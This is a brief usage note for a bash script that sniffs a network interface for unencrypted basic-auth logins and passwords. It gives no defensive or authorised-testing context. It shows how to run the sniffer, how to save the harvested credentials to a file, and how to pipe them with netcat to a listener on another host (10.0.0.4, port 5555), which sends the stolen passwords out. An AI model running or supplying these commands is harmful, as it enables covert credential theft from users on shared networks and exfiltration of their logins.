This is a simple script that sniffs for unencrypted basic auth logins/passwords. The only option is the ethernet device. Example with eth0:
bash grab_pass.sh eth0
Now just sit back and wait.
If you want to keep those passwords, you can always tee it to a file:
bash grab_pass.sh eth0 | tee logins.txt
Or you could always setup netcat to listen on a server somewhere, then pipe the results to netcat. For example, if you had a listener on 10.0.0.4 running on port 5555, you could just run this:
bash grab_pass.sh eth0 | nc 10.0.0.4 5555